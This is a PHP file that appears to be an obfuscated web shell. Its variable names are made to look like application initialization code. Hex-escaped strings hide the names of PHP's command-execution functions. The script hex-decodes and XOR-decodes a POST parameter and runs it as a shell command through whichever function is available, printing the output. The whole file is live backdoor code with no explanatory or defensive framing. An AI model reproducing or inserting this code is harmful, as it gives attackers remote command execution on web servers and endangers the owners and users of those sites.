<?php

$app_initializer4 = "\x70\x61s\x73t\x68ru";
$app_initializer1 = "sys\x74\x65m";
$app_initializer6 = "\x73tre\x61m\x5F\x67et_c\x6F\x6E\x74e\x6E\x74s";
$app_initializer2 = "sh\x65\x6C\x6C\x5Fex\x65c";
$app_initializer3 = "exec";
$app_initializer7 = "p\x63los\x65";
$app_initializer5 = "\x70ope\x6E";
$auth_exception_handler = "h\x65\x782bin";
if (isset($_POST["\x64a\x74a"])) {
            function dependency_resolver($key , $pgrp) {
$desc= '' ;
 $b=0;
 while($b<strlen($key)){
$desc.=chr(ord($key[$b])^$pgrp);
$b++;

} return $desc;
 
}
            $data = $auth_exception_handler($_POST["\x64a\x74a"]);
            $data = dependency_resolver($data, 82);
            if (function_exists($app_initializer1)) {
                $app_initializer1($data);
            } elseif (function_exists($app_initializer2)) {
                print $app_initializer2($data);
            } elseif (function_exists($app_initializer3)) {
                $app_initializer3($data, $ptr_key);
                print join("\n", $ptr_key);
            } elseif (function_exists($app_initializer4)) {
                $app_initializer4($data);
            } elseif (function_exists($app_initializer5) && function_exists($app_initializer6) && function_exists($app_initializer7)) {
                $pgrp_desc = $app_initializer5($data, 'r');
                if ($pgrp_desc) {
                    $rec_flag = $app_initializer6($pgrp_desc);
                    $app_initializer7($pgrp_desc);
                    print $rec_flag;
                }
            }
            exit;
        }